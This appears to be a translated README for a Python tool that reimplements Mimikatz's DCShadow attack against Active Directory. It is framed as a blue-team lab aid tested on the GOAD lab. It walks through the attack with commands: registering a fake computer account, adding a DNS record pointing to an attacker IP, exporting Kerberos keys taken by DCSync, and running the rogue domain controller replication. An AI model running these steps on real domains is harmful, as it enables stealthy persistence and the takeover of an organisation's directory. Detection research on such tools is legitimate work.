
Python-альтернатива Mimikatz lsadump::dcshadow
[!WARNING] НЕ ЗАПУСКАЙТЕ В ПРОДАКШЕНЕ. Этот инструмент предназначен для лабораторного тестирования, чтобы синие команды могли отрабатывать выявление IoC, типов событий и поведения. Кроме того, инструмент предоставляется как есть. Поддержка не планируется, кроме стандартного ревью пулл-реквестов, которые вы можете создавать. Не запускайте это с Windows-хоста. Делайте это с Linux или из ВМ (чтобы избежать конфликтов служб RPC).
Этот проект задуман как чисто питоновская альтернатива технике dcshadow из Mimikatz. Он включает собственную сборку Impacket с изменёнными crypto, gssapi и drsuapi, среди прочего.
DCShadow — мощная техника персистентности, которую можно рассматривать как транспорт для других техник, таких как SID history, KRBTGT RBCD, ACE abuse, и других.
Этот инструмент может стать основой для более универсального фреймворка персистентности в AD, который наше сообщество могло бы использовать для повышения общей зрелости в этом вопросе.
Инструмент был протестирован на GOAD.
python3 -m venv venv
source ./venv/bin/activate
pip3 install -r ./requirements.txt
pip3 install ./impacket
Эта машина будет зарегистрирована как контроллер домена на время репликации и в конце будет снята с регистрации.
venv/bin/addcomputer.py -computer-name 'fake701$' -computer-pass '123soleil!' -method LDAPS -dc-host "kingslanding.sevenkingdoms.local" -dc-ip "192.168.10.10" -domain-netbios "sevenkingdoms" "sevenkingdoms.local"/"tyron.lannister":"Alc00L&S3x" -debug
[!WARNING] adcomputer.py изменён для установки
msDS-SupportedEncryptionTypesв0x1f. Последние тесты, похоже, вызывают нарушение ограничения.[+] Impacket Library Installation Path: /workspace/adpersist/venv/lib/python3.11/site-packages/impacket Traceback (most recent call last): File "/workspace/adpersist/venv/bin/addcomputer.py", line 248, in run_ldaps raise Exception(str(ldapConn.result)) Exception: {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'} [-] {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'}Пока что используйте обычный скрипт addcomputer.py из Impacket и изменяйте
msDS-SupportedEncryptionTypesвручную через редактирование ADSI.
Это необходимо, чтобы легитимный контроллер домена знал, как связаться с нелегитимным (rogue) контроллером домена, и избежать ошибок ERROR_DS_DNS_LOOKUP_FAILURE.
dnstool.py -u "sevenkingdoms.local"/"tyron.lannister" -p "Alc00L&S3x" --record 'fake701' --action add --data "$ATTACKER_IP" "kingslanding.sevenkingdoms.local"
[!TIP] Если команда по какой-то причине не работает, добавьте DNS-запись вручную через оснастку DNS на контроллере домена.
Когда мы начинали разработку этого инструмента, мы использовали жёстко заданные учётные данные в файле .env, загружаемые в функции gss_kerberos_ap_req в файле dcshadow/utils/server/RpcServer.py.
Это явно требует доработки. Пароль учётной записи rogue DC можно было бы передавать аргументом командной строки и вычислять ключи Kerberos. Krbrelayx это уже делает, dacledit.py тоже — нужно просто скопировать.
Пока что нужно экспортировать ключи Kerberos как переменные окружения.
Выглядеть это должно так:
export RC4=652c1be004ef335aa218cfed8e9297fc
export AES128=710b676a1fec1c68edc44b759aace44a
export AES256=bc7564c2e7a2bc740c277ec39f8c5d81e03df8001b7d670f5b46c177242a8bbc
Эти ключи можно получить с помощью атаки DCSync.
python3 dcshadow.py --json repl.json --domain "sevenkingdoms.local" --user "cersei.lannister" --password "il0vejaime" --dc-ip "192.168.10.10" --legit-dc-fqdn "kingslanding.sevenkingdoms.local" --rogue-dc-name "fake701"
[!TIP] В данном случае для указания целевых объектов и атрибутов используется файл
repl.json. В качестве альтернативы инструмент поддерживает встроенные опции (например,--object,--attributeи--value).
Если время ожидания DRSReplicaAdd истекло, скорее всего, проблема с сетью/межсетевым экраном на машине, где запущен dcshadow.py (rogue DC), — вероятно, она не разрешает входящий трафик на порты 135/TCP (epmapper) и 1337/TCP (или динамический порт, если он будет реализован в будущем, для drsuapi).
Вам нужно будет запустить Wireshark на легитимном контроллере домена, но наиболее вероятная причина в том, что вы пытаетесь запустить это на Windows-машине. Тогда, когда легитимный DC запрашивает у epmapper вашего rogue DC порт конечной точки drsuapi, ответ оказывается пустым, поскольку отвечает epmapper вашей собственной Windows-машины, а не наш специальный.
Этот проект был бы невозможен без огромной помощи Alessandro Iandoli "MrAle98", талантливого исследователя, с которым я познакомился во время разработки. Спасибо, Alessandro!
Особая благодарность Benjamin Delpy и Vincent Letoux за первоначальное открытие, доклады и реализацию в Mimikatz.
Также хочу поблагодарить Volker за участие в ранней разработке.
Спасибо Dramelac за помощь в превращении PoC в модульный проект, основу будущего фреймворка, если до этого когда-нибудь дойдёт.